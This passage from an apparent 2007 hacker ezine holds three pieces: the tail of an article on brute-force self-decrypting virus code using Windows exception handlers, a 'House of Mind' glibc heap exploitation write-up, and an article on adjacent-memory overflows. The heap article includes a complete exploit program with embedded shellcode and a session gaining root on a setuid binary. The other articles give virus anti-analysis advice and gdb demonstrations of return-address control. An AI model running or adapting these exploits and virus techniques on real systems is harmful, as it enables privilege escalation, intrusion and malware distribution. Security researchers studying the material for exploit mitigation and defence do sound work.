         iDr0          DWORD      ?
         ...
         regEbp        DWORD      ?
         regEip        DWORD      ?
         regCs         DWORD      ?
         regFlag       DWORD      ?
         regEsp        DWORD      ?
         regSs         DWORD      ?
         ExtendedRegisters db MAXIMUM_SUPPORTED_EXTENSION dup(?)
       CONTEXT ENDS

   Basically, Context stores the state of the registers at the moment of
   exception. When we exit from our exception handler, we have the option
   of asking the CPU to return to execution from where it halted. This
   "return point" is taken from regEIP, in the Context structure. So we
   modify regEIP to point to our decryption algorithm again. We also need
   to reset EBP and ESP, to make sure we can still access local variables
   and whatnot when we return to the decryption algorithm.

        pop eax
        assume eax:ptr EXCEPTION_POINTERS
        mov ebx,[eax].ContextRecord
        mov eax,ebx
        assume eax:ptr CONTEXT

    ; reset EIP, so we return to "decrypt:"
        lea ebx,decrypt
        mov [eax].regEip,ebx

        mov ebx,ebpSafe
        mov [eax].regEbp,ebx
        mov ebx,espSafe
        mov [eax].regEsp,ebx

        mov eax,-1
        ret

   NOTE: ebpSafe and espSafe are drawn from values we know (assume) to be
   correct - since there is an initial run of the decryption algorithm
   (what if the key happens to be the first one guessed?) - ebp and esp are
   saved at every iteration of the decryption algorithm. That way, they
   remain static:

    decrypt:
        mov [ebp+espSafe],esp
        mov [ebp+ebpSafe],ebp

   There are problems with this method, however. Firstly, we must make
   sure to recalculate EBP, especially if we work within the confines of a
   virus. This must be done within the exception handler itself - if
   "corrupted" or incorrectly decrypted code modifies EBP before throwing
   an exception and you keep on using the tainted EBP, you'll throw more
   exceptions, leading to an infinite loop and Windows terminating your
   process.

   Also, the encryption algorithm must be simple, and efficient - as a
   virus, you must preserve a reasonable loading time for the host
   executable. something which will take several minuites to brute force
   is unacceptable - thus the XOR cipher. However, other fast ciphers
   exist - for example, the XTEA cipher[2].

2) XTEA cipher: although reasonably fast in it's standard form, using
   a 32-bit key is certainly too long for our brute forcing attempts -
   we don't have time to cover that much keyspace. We can shorten XTEA
   to only use 8 bits of randomness in a 32-bit key, to reduce our
   brute forcing time.


----------------------------------[ EOF ]----------------------------------

[===========================================================================]
[---------------------------[ The House of Mind ]---------------------------]
[===========================================================================]


       _==####==_
     .############.
   .################.
  .##################.__ __ __ __ _ _ __ __ 
  ##############/¯_`|#\ V  V // _` | '_/ -_)
  ##############\__,|# \_/\_/ \__,_|_| \___|
  ###########*¯*######                                     
  *#########{   }####* 
   ##########._.#####    date: 01/01/2007
    ################       by: K-sPecial
     *############*
       ¯==####==¯



[===========================================================================]


In 2004, a series of patches where released against the GLibC lines, adding
into effect mandatory assertions - in hope of slowing down, if not stopping
the exploitation of wild malloc()/free() holes (from here on out referred to
as "free holes"). In late 2005, Phantasmal Phantasmagoria released a paper 
giving a detailed explanation of fresh, independantly discovered methods for
working around these assertions, and hence, making free holes fair game once
again. The only problem is: Phantasmal did not release any sourcecode with
his paper, which, at that time, was considered to be almost purely
theoretical. In this article, I will pick apart one of his methods,
explaining how it works and elaborate prerequisites for it to work at all.
For this purpose, I will choose what Phantasmal proclaims to be "the most
general technique" - that is, which he also proclaims, the technique most
like the familiar unlink() method. It is now that I bring to you, 

                              The House of Mind.

It should be noted that if one chooses to read this article, he shall be best 

off with first consulting Phantasmal's explanation and version of The House
of Mind, which you can saftely find on both .aware and xzziroz with the link
provided lateron.

The idea behind the House Of Mind is that there is a structure for every
given heap "arena" that stores primary information regarding this "arena". An
arena consists of multiple heap "chunks" (blocks) in a given memory region. A
process starts itself with a primary arena named "main_arena". Assuming I
allocated the first chunk:


   char *ptr = malloc(1024)


This chunk is contained in the main arena. There happens to be a flag in every

chunk, indicating whether the chunk pertains to the main arena. This flag is
located in the 'size' element of this structure:


     chunk  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Size of previous chunk, if allocated            | |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Size of chunk, in bytes                      M|M|P|
       mem  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             User data starts here...                          .
            .                                                               .
            .             (malloc_usable_space() bytes)                     .
            .                                                               |
 nextchunk  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Size of chunk                                     |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+


Taken from malloc.c, this flag is named NON_MAIN_ARENA:

    #define NON_MAIN_ARENA 0x4

When calling the function public_free() (which is what free() boils down to)
with this flag set, the arena for the chunk which free() is being called for
will be  pinpointed outside the main arena. The following code from malloc.c,
within public_free(), specificly outlines this process:

ar_ptr = arena_for_chunk(p);

Where p is the address of the chunk and ar_ptr is the container receiving the 

address of this chunks arena. Defined in arena.c, the arena_for_chunk macro 
looks as the following: 


   #define arena_for_chunk(ptr) \
    (chunk_non_main_arena(ptr) ? heap_for_ptr(ptr)->ar_ptr : &main_arena)


chunk_non_main_arena(ptr) returns true, since i claim to be NON_MAIN_ARENA. 
heap_for_ptr looks as the following:


   #define heap_for_ptr(ptr) \
    ((heap_info *)((unsigned long)(ptr) & ~(HEAP_MAX_SIZE-1))


HEAP_MAX_SIZE is defined as 1024*1024 on a default install. If you grock the 
code you will find that ~(1024*1024-1) dilutes to be 0xFFF00000, which is an
AND-bitmask that would transform a number such as 0x08012345 into 0x08000000.

Assume that this is precisely what just happened: My first chunk allocated
in a piece of code happens to be 0x8012345. Then it's arena pointer (ar_ptr)
will be 0x08000000. This is invalid and will likely result in a segmentation
fault or likewise error since there is no arena structure located at the
address. This is also useless since I can not write data to this address -
and hence, I am unable to create a fake arena structure. What must be done
is just what Phantasmal suggested: Make the program allocate more memory
until a chunk is located above 0x81000000. Assume I allocate a chunk located
at 0x8100123. If I overflow this chunks size element with the NON_MAIN_HEAP
flag set, the arena pointer will be looked for it in memory that the previous
chunk controls. By forging an arena structure with evil offsets I can cause
code execution through at least two different code locations in the malloc
subsystem.

Phantasmal wrote of two different methods through which code execution can be 

induced through the arbitrary forging of an arena. The first method involves
forging addresses in the bins[] array located inside of the arena structure. 

Phantasmal wrote that if the following conditions where to be made valid:

  - The negative of the size of the overflowed chunk must
    be less than the value of the chunk itself.
  - The size of the chunk must not be less than av->max_fast.
  - The IS_MMAPPED bit of the size cannot be set.
  - The overflowed chunk cannot equal av->top.
  - The NONCONTIGUOUS_BIT of av->max_fast must be set.
  - The PREV_INUSE bit of the nextchunk (chunk + size)
    must be set.
  - The size of nextchunk must be greater than 8.
  - The size of nextchunk must be less than av->system_mem
  - The PREV_INUSE bit of the chunk must not be set.
  - The nextchunk cannot equal av->top.
  - The PREV_INUSE bit of the chunk after nextchunk
    (nextchunk + nextsize) must be set

Then the following code would be executed:

  bck = unsorted_chunks(av);
  fwd = bck->fd;
  p->bk = bck;
  p->fd = fwd;
  bck->fd = p;
  fwd->bk = p;

 "In this case p is the address of the designer's overflowed chunk. The 
  unsorted_chunks() macro returns av->bins[0] which is designer controlled.
  If the designer sets av->bins[0] to the address of a GOT or .dtors entry
  minus 8, then that entry (bck->fd) will be overwritten with the address
  of p."

Phantasmal kindof fibbed here. unsorted_chunks() does not return av->bins[0] 
- it returns &av->bins[0], which, at first, seems to be about useless.
Phantasmal was close enough for us to give him credit, tho. In fact, I
imagine he just typed it wrong as it wouldn't work elsewise - fwd->bk would
cause a segfault. What actually has to be done is setting bck->fd
(&av->bins[0] + 8) to the address of the .dtors+4 entry minus 12. After this
is accomplished, fwd will be set to bck->fd, fwd->bk = p (bck->fd + 12) will
write the address of the chunk being free()'d to .dtors + 4. The first byte
of the chunk I write will actually be at p + 8, since p points to prev_size,
the first element of a chunk structure, and p + 4 points to the size element
- the second element in a heap structure. This is fair, because I can place
a jmp 0x4 in the 4 bytes that occupy prev_size. It will jump over the size
element and land right into the shellcode.

I've gone too far without introducing you to the vulnerable code!



------------------------------------------------------------ begin heap1.c --

#include <stdio.h>
#include <stdlib.h>

int main (void) {
        char *ptr  = malloc(1024);
        char *ptr2;
        int heap = (int)ptr & 0xFFF00000;
        _Bool found = 0;

        printf("ptr found at %p\n", ptr);

// i == 2 because this is my second chunk to allocate
for (int i = 2; i < 1024; i++) {
                if (!found && (((int)(ptr2 = malloc(1024)) & 0xFFF00000) == 
(heap + 0x100000))) {
                        printf("good heap allignment found on malloc() %i 
(%p)\n", i, ptr2);
                        found = 1;
                        break;
                }

        }
        malloc(1024);
        fread (ptr, 1024 * 1024, 1, stdin);

        free(ptr);
        free(ptr2);
        return(0);
}

-------------------------------------------------------------- end heap1.c --


This code makes an initial malloc, followed by numerous additional
allocations which are necessary to return a chunk that would be expected to
have an arena in a memory location that I can write to through the heap
overflow. The first chunk found having an arena in overflowable memory has
its address printed for my convienence. After this, one more chunk is
allocated since Phantasmal stated that the free()'d chunk could not equal
av->top (the most recent allocated chunk) (actually he said nextchunk could
not equal this, he fibbed again)

Now for exploit code:


----------------------------------------------------------- begin ploit1.c --

#include <stdio.h>

/* linux_ia32_exec -  CMD=/usr/bin/id Size=72 Encoder=PexFnstenvSub 
http://metasploit.com */
unsigned char scode[] =
"\x31\xc9\x83\xe9\xf4\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e"
"\xc9\x6a\x42\x83\xeb\xfc\xe2\xf4\x34\xc2\x32\xdb\x0c\xaf\x02\x6f"
"\x3d\x40\x8d\x2a\x71\xba\x02\x42\x36\xe6\x08\x2b\x30\x40\x89\x10"
"\xb6\xc5\x6a\x42\x5e\xe6\x1f\x31\x2c\xe6\x08\x2b\x30\xe6\x03\x26"
"\x5e\x9e\x39\xcb\xbf\x04\xea\x42";

int main (void) {
        // don't use the first 8 bytes of a chunk for data because
        // when it is free()'d it seems to be garbaged up with
        // strange addresses.
        for (int i = 0; i < 8; i++) putchar(0x41);

        // set the mutex to 0
        fwrite("\x00\x00\x00\x00", 4, 1, stdout);

        // write max_fast a few times, we'll hit it and we'll
        // take up some more bytes
        for (int i = 0; i < 32 / 4; i++)
                fwrite("\x02\x01\x00\x00", 4, 1, stdout);

        // finish this chunk with the address one wants to place at
        // bins[0] + 8 (dtors_end - 12)
        for (int i = 0; i < 984 / 4; i++)
                fwrite("\x70\x96\x04\x08", 4, 1, stdout);

        // fill in the unused mallocated space with A's but
        // preserving the 'size' element (1024 with PREV_INUSE
        // bit set)
        for (int i = 0; i < 721; i++) {
                fwrite("\x09\x04\x00\x00", 4, 1, stdout);
                for (int i = 0; i < 1028; i++)
                        putchar(0x41);
        }
        fwrite("\x09\x04\x00\x00", 4, 1, stdout);

        // this is the memory that heap_for_ptr returned,
        // one wants to fill it with the address of which
        // ar_ptr should have
        for (int i = 0; i < (1024 / 4); i++)
                fwrite("\x10\xa0\x04\x08", 4, 1, stdout);

        // jmp + 12
        fwrite("\xeb\x0c\x90\x90", 4, 1, stdout);

        // size field with NON_MAIN_ARENA set
        fwrite("\x0d\x04\x00\x00", 4, 1, stdout);

        // icky 8 byte filler
        fwrite("\x90\x90\x90\x90\x90\x90\x90\x90", 8, 1, stdout);

        // finally the shellcode
        fwrite(scode, sizeof(scode), 1, stdout);

        return(0);
}

------------------------------------------------------------- end ploit1.c --


First things first, I build a fake arena structure in the first mallocated 
block from heap1.c. I start out 8 bytes from the top of it, since when it is 
free()'d, these 8 bytes will be garbaged. Then I write a 0. I had to learn 
the hard way (lots of glibc reading) that the first value of an arena
structure is a mutex. This mutex will be waited upon (blocked upon) and your
program will infinite loop if it equals anything other than 0. Next i write
0x102, this is max_fast with a small size (so my chunk is not considered
smaller than max_fast, as Phantasmal stated) which also has the NONCONTIGUOUS
flag (defined as 2) set. max_fast is located at ar_ptr + 8. Afterwards, I
garbage the rest of the arena with the address I wish p to be written to,
minus 12. &bins[0] is located at ar_ptr + 76 so I am sure to hit it. Next,
the unused mallocated area I am overflowing is filled with filler until I get
to the chunk which consists of the memory that heap_for_ptr returns. Here, I
must provide the arena location that ar_ptr will contain - and hence, the 
arena location that free will use for this chunk. ar_ptr is located at the 
address returned by heap_for_ptr. Almost there. Next I need to fill the chunk
that will be written to the specified memory location. By starting with a jmp
12, I jump past the 'size' element of this chunk and the first 8 bad bytes of
it (from once it's free()'d). Next comes the size field itself, which should
be the legit size of the chunk along with the NON_MAIN_ARENA bit set.
Finally, the 8 icky byte filler followed by the pretty shellcode.


-----------------------------------------------------------------------------

Location to be written to (dtors + 4), minus 12:
kspecial@mirage:~$ objdump -x heap | grep dtors | head -1
 16 .dtors        00000008  08049678  08049678  00000678  2**2

0x08049678 + 4 - 12 == 0x08049670

Location of arena (first chunk, + 8)
kspecial@mirage:~$ ./heap
ptr found at 0x804a008
good heap allignment found on malloc() 724 (0x81002a0)

0x0804a008 + 8     == 0x0804a010


Behold:

kspecial@mirage:~$ gcc -o heap heap1.c -std=c99
kspecial@mirage:~$ gcc -o ploit ploit.c -std=c99
kspecial@mirage:~$ ./ploit > file
kspecial@mirage:~$ su root
Password:
mirage:/home/kspecial# chown root heap
mirage:/home/kspecial# chmod 4755 heap
mirage:/home/kspecial# exit
exit
kspecial@mirage:~$ ./heap < file
ptr found at 0x804a008
good heap allignment found on malloc() 724 (0x81002a0)
uid=1000(kspecial) gid=1000(kspecial) euid=0(root) 
groups=20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev),
107(powerdev),1000(kspecial)
kspecial@mirage:~$


-----------------------------------------------------------------------------

diagram of the trashed heap:


chunk 1   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ x1
          |        prev_size (?)        |        size (0x409)         |
          +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
          |              garbage (0x4141414141414141)                 |
          +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
          |         mutex (0x0)         |     max_size (0x102) x 8    .
          .-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                             .
          .                                                           |
          +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
          |                                                           .
          .          (Spam of write to location - 12) x 246           .
          .                       (0x08049670)                        .
          .                                                           |
chunk 2   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ x271
          |   prev_size (0x41414141)    |        size (0x409)         |
          +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
          |                                                           .
          .                        0x41 x 1024                        .
          .                                                           .
          .                                                           |
chunk 273 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ x1
          |   prev_size (0x41414141)    |       size (0x409)          |
          +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
          |                                                           .
          .              Spam of arena location x 256                 .
          .                       (0x0804a010)                        .
          .                                                           |
chunk 274 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ x1
          |     prev_size (EB0c9090)    |       size (0x40d)          |
          +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
          |              garbage (0x9090909090909090)                 |
          +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
          +                                                           .
          .                         SHELLCODE!                        .
          .                                                           .
          .                                                           |
          +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+



chunk 2 actually has a prev_size of 0x08049670, because I overflow it in
chunk 1 (but it is irrelevant). All the chunks from there on have a prev_size
of "AAAA", while 273's is the jmp code.

I will not be providing source code here for the fastbin method Phantasmal 
suggested to be used with the house of mind. I will, although, quickly
document its primary goal and state why I feel about it the way I do. The
fastbin method is not entirely different from the bin method described above.
With the fastbin method, the primary goal is to point the arena elsewhere
while making sure the size field of the chunk being free()'d is less than
max_size, which will, in turn, cause this code to be excuted:

    set_fastchunks(av);
    fb = &(av->fastbins[fastbin_index(size)]);
 // ...
    p->fd = *fb;
    *fb = p;


This is quite trivial to exploit with what has been said. If I where to point 

the arena to a location such that max_fast (av + 4) was larger than the chunk 

being free()'d and hence, &(av->fastbins[fastbin_index(size)]); returning a
pointer to a GOT or .dtors entry, then that entry would be overwritten with
the address of the chunk being free()'d. The only problem lies within
av->system_mem, which is contained at the end of an arena structure (check 
malloc.c struct malloc_state for an arena structure). nextchunk (the chunk 
after the chunk being freed()'d) must be smaller than system_mem. In the
small, vulnerable heap I coded, there where too many zeros after both the GOT
and dtors sections. It was impossible to set system_mem to any value other
than 0. Phantasmal wrote that if the GOT was too small (as in small programs,
such as mine), the stack could be used to the same advantage. In other words,
I would be capable of placing the arena in a spot of the stack such that
*fb = p would overwrite eip or some other data flow variable. This is albeit
near impossible on modern linux systems since address space layout
randomization is present. 
However, this method is viable in larger applications, and is deffinitely
easier to write.

One last note. This work was done with a modern Debian 4.0 machine. 
The GLibC version is 2.3.6, the following debian packages where used:
libc6-dbg - GNU C Library: Libraries with debugging symbols
libc6-dev - GNU C Library: Development Libraries and Header Files
Along with standard 2.3.6 sourecode.

                                                                --K-sPecial


[=================================[ REF ]==================================]


PS: I will place these codes on the site, in case 80 CPL formatting has
    gotten the best of them.

[1] "The Malloc Maleficarum" (http://securityfocus.com)
    By Phantasmal Phantasmagoria. 
    Tue, 11 Oct 2005 10:14:02 -0700 Sat, 31 Dec 2006 23:01:33 -0500
    http://awarenetwork.org/etc/zine1/ref/MallocMaleficarum.txt

[2] "Once upon a free()" (http://phrack.org)
    Published time Unknown Sat, 31 Dec 2006 23:01:33 -0500
    http://awarenetwork.org/etc/zine1/ref/once%20upon%20a%20free.txt

[3] "GLibC" http://gnu.org
    Tue, 03 Nov 2005 20:12 31 Dec 2006 23:01:33 -0500  20:12  
    http://ftp.gnu.org/gnu/glibc/glibc-2.3.6.tar.bz2


[==================================[ EOF ]==================================]

[=========================================================================]
[----------------[ Advances in adjacent memory overflows ]----------------]
[=========================================================================]


       _==####==_
     .############.
   .################.
  .##################.__ __ __ __ _ _ __ __ 
  ##############/¯_`|#\ V  V // _` | '_/ -_)
  ##############\__,|# \_/\_/ \__,_|_| \___|
  ###########*¯*######                                     
  *#########{   }####*
   ##########._.#####
    ################    by Nomenumbra/[0x00SEC] 
     *############*
       ¯==####==¯        



--[ 0x00 ]---------------------------------------------[ Introduction ]----


In this relatively small paper we'll discuss the basics and some
(completely new) advances in adjacent memory overflows. For those
unfamiliar with Adjacent memory overflows i'd like to refer you to Mercy's
article (http://www.milw0rm.com/papers/98) or Twitch's article "TAKING
ADVANTAGE OF NON-TERMINATED ADJACENT MEMORY SPACES" in phrack (Volume 0x0A,
Issue 0x38 phile 0x0E).

Here follows a basic explanation of the phenomenon:

In most of today's apps the vulnerable strcpy() and strcat() functions have
been replaced with strncpy() and strncat() to prevent normal buffer
overflows. It is however possible to exploit the strn* functions and the
likes trough 0-unterminated strings. Let's look at the following example:

---------------------------------------------------------------------------
nobody@cerebrum:~/# cat vln.c
#include <stdlib.h>

int main(int argc,char* argv[])
{
  char buf3[512];
  char buf2[1024];
  char buf[256];
  strncpy(buf,argv[1],256);
  strncpy(buf2,argv[2],1024);  
  sprintf(buf3,"%s",buf);
  return 0;
} 
---------------------------------------------------------------------------

Well most people will say, this shouldn't be a problem? Now should it? I
mean, buf will never be over 256 bytes, and buf3 is far bigger then buf so
where's the problem?

The problem lies in the combination of strncpy and sprintf. Strncpy will
namely copy up to a maximum of 256 bytes, so if argv[1] contains exactly or
more then 256 bytes, it won't copy the terminating NULL-byte (and neither
add it), then sprintf will copy bytes from buf's address all the way up to
the first encountered NULL-byte terminator. As you can see, buf's stack
data will flow right into buf2's data, since they're allocated right next
to each other on the stack. So we can supply a total of 1024 + 256 = 1280
bytes which is more then enough to overflow buf3. As you can see the
requirements for exploiting an app with an adjacent memory overflow are:

 [*] Prescense of a vulnerable function handling user-controlled data
 [*] This data being handled by a function assuming NULL-byte termination
 [*] Fair control of surrounding stack area

These vulnerable functions can be custom as well of course, so don't only
look for the ones mentioned here.



--[ 0x01 ]------------------------------------[ Exploiting snprintf() ]----

Of course, not all functions will allow adjacent memory overflows to occur
like this.  For example, read() and strncpy() will allow further reading,
while similarly fgets() and snprintf() will not, under the same size
limitations.

snprintf() (and fgets) where long thought to be safe from adjacent memory
overflows due to automatic adding of a terminating null byte - that was
wrong as I noticed ...

The official documentation tells us that:

  "If size is zero, nothing is written and str may be null."
  
Nothing is written, correct, but it isn't 0 terminated either >:). Now let
us look a bit more in-depth: 

Size includes the terminating 0byte ,so if size is 10, it'll copy bytes
until it encouters a terminating 0 byte, if it doesn't find one withing 9
bytes, it'll copy 9 bytes and add it's own terminating 0 byte. And this is
where the problem lies.... 

It copies up to size-1 bytes from the buffer - interesting. Now if we look
at the doprintf() function utilized by snprintf() source we see:

---------------------------------------------------------------------------
   currlen = flags = cflags = min = 0;
   max = -1;
   ch = *format++;

   while (state != DP_S_DONE)
     {
       if ((ch == '\0') || (currlen >= maxlen)) 
         state = DP_S_DONE;
   
// ....   
// Then later, at the end: 


   if (currlen < maxlen - 1) 
       buffer[currlen] = '\0';
   else 
       buffer[maxlen - 1] = '\0';
---------------------------------------------------------------------------

the problem obviously lies in the fact that currlen being 0 and getting
compared to 0 it breaks (the switch statement over state breaks upon
DP_S_DONE) and goes straight to

    if(0 < -1)
        buffer[0] = '\0';
    else 
        buffer[0 - 1] = '\0';

so buffer[-1] will be 0x00? yup, which effectively leaves the buffer
unterminated with a NULL byte (and unfilled too) leaving it completely open
to adjacent memory overflows. want an example?

---------------------------------------------------------------------------
nobody@cerebrum:~/# cat /proc/sys/kernel/randomize_va_space
0
<! 
  No va randomization in this case!
 !>

nobody@cerebrum:~/# cat vln.c

#include <stdlib.h

int main(int argc,char* argv[])
{
  char buf3[11];

  char buf2[100];
  char buf[10];
  snprintf(buf,0,"%s",argv[1]);
  strncpy(buf2,argv[2],100);
  sprintf(buf3,"%s",buf);
  printf("%s\n",buf3);
  return 0;
}

nobody@cerebrum:~/# gcc -o vln vln.c
nobody@cerebrum:~/# ./vln a test
?%?test

<!
   See the test at the end of buf3? That's right, buf isn't 0 terminated so
   sprintf just runs like a muthafucker all the way up to buf2
   Exploitation is trivial
!>
nobody@cerebrum:~/# gdb vln
GNU gdb 6.3
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are welcome to change it and/or distribute copies of it under certain
conditions. Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i486-slackware-linux"...Using host libthread_db
library "/lib/tls/libthread_db.so.1".

(gdb) r a `perl -e 'print "A"x12,"B"x4'`
Starting program: /tmp/vln a `perl -e 'print "A"x12,"B"x4'`
???%?AAAAAAAAAAAABBBB

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)
---------------------------------------------------------------------------

Now, on with the show. This type of bug will most likely only occur when
size is user-supplied or user-influenced, so imagine the following example:

---------------------------------------------------------------------------
nobody@cerebrum:~/# cat vln.c

#include <stdlib.h>

int main(int argc,char* argv[])
{
  char buf3[20];

  char buf2[100];
  char buf[10];
  int lim;
  printf("Usage: %s <str1 max size including the 0-byte terminator>"
         " <str1> <str2>\n",argv[0]);
  lim = atoi(argv[1]);
  if (lim > 9)
    exit(0);
  snprintf(buf,lim,"%s",argv[2]);
  snprintf(buf2,99,"%s",argv[3]); // correct usage
  sprintf(buf3,"%s",buf); // buf to buf3
  printf("buf3: [%s]\n",buf3);
  return 0;
}

nobody@cerebrum:~/# gcc -o vln vln.c
nobody@cerebrum:~/# ./vln 2 123456789 test
Usage: ./vln <str1 max size> <str1> <str2>
buf3: [1]
nobody@cerebrum:~/# ./vln 0 123456789 test
./vln 0 123456789 test
Usage: ./vln <str1 max size> <str1> <str2>
buf3: [??

<!
   Huh?! No memory overflow into str2? No moaning yet, just sit back and
   watch ;)
!>

nobody@cerebrum:~/# ./vln -1 123456789123456789 test
Usage: ./vln <str1 max size> <str1> <str2>
buf3: [1234567890123456test]
---------------------------------------------------------------------------

As you can see the buffer will be filled up with 16 bytes before continuing
into buf2. Exploitation is, again, trivial:

---------------------------------------------------------------------------
nobody@cerebrum:~/# gdb vln
GNU gdb 6.3
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are welcome to change it and/or distribute copies of it under certain
conditions. Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i486-slackware-linux"...Using host libthread_db
library "/lib/tls/libthread_db.so.1".

(gdb) r -1 1234567890123456 `perl -e 'print "A"x28,"B"x4'`
Starting program: /tmp/vln -1 1234567890123456 `perl -e 'print "A"x28,"B"x4'`
Usage: /tmp/vln <str1 max size inc 0-byte> <str1> <str2>
buf3: [1234567890123456AAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB]

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)
---------------------------------------------------------------------------

As you can see, the exploitability of a piece of code is highly
situationally and environmentally dependant, but this shows that some cases
CAN be exploited and arms you with yet another nice weapon in your arsenal
of doom ;)



--[ 0x02 ]-----------------[ Abusing strlen() for more memory madness ]----

Yes, strlen() and consorts can be exploited too, well not in a casual way
like buffer overflows, but in the same way integer overflows can. Through
programmer assumption. The programmer assumes things about the return value
of strlen(). For example, if we strlen(buf) and buf is the result of a
strncpy(buf,argv[1],10) the programmer will most likely assume strlen()
will never be bigger than 10. But that's untrue...

Let us look at a sample program that would be commonly considered safe, if
it weren't for adjacent memory overflows:

---------------------------------------------------------------------------
nobody@cerebrum:~/# cat vln.c
#include <stdlib.h>

int main(int argc,char* argv[])
{
  char buf3[512];
  char buf2[1024];
  char buf[256];
  strncpy(buf,argv[1],256);
  strncpy(buf2,argv[2],1024);  
  strncpy(buf3,buf,strlen(buf));
  printf("[%s]\n",buf3);
  return 0;
} 
---------------------------------------------------------------------------

Hmm how to exploit this? We have a 0-unterminated buf going all the way
right into buf2 - but buf is strncpy()'ed into buf3, not sprintf()'ed or
strcpy()'ed - and as we take a close look at the size parameter, we spot
strlen(). Now how can this work in our benefit:

strlen() counts the number of bytes at the pointer supplied to it's first
argument, all the way up to the first terminating null byte. Because buf
is 0-unterminated in the example, strlen will continue searching for a
null-byte in buf2, hence it returning a higher result. This can be
exploited in a trivial manner:

---------------------------------------------------------------------------
nobody@cerebrum:~/# gdb vln

GNU gdb 6.3
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are welcome to change it and/or distribute copies of it under certain
conditions. Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i486-slackware-linux"...Using host libthread_db
library "/lib/tls/libthread_db.so.1".

(gdb) r `perl -e 'print "A"x256'` `perl -e 'print "A"x268,"B"x4'`
Starting program: /tmp/vln `perl -e 'print "A"x256'` `perl -e 'print "A"x26
8,"B"x4'`
[AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
BBBB]

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)
---------------------------------------------------------------------------


This vulnerability goes for memcpy, strncat, memmove and others as well of
course. Note that strstr, strchr,strcspn and the like are vulnerable too,
if the first parameter is 0-unterminated, they will keep digging trough
memory, potentially returning pointers to some place in a far bigger buffer 
or one  containing potentially sensitive data).

As you can see this case is yet again higly dependant on the code as a
whole, just like with integer overflows.  To sum up some vulnerable
functions:

Some functions vuln to adjacent memory overflows trough 0-unterminated
strings:

      [*]  sprintf
      [*]  fprintf           
      [*]  snprintf
      [*]  memcpy           
      [*]  memmove
      [*]  strcpy
      [*]  strcat
      [*]  strlen
      [*]  strstr
      [*]  strchr
      [*]  strcspn
      [*]  read
      [*]  ...
           
           
           
--[ 0x03 ]----------------------------------------------------[ Outro ]----

Well peeps, i hope you enjoyed this small text and learned something from
it, i most certainly did. And remember kids, keep the scene alive, never
sell out and never narc. 

Greetz and shouts to:

The .aware/xzziroz cast & crew (of course ;), All Nullsec members,  the
HackThisSite community, PullThePlug folks, the guys over at SmashTheStack,
RRLF, Binary Shadow Organization, Blacksecurity, the vx.netlux.org people
and all true "hackers"/blackhats out there.

[=========================================================================]
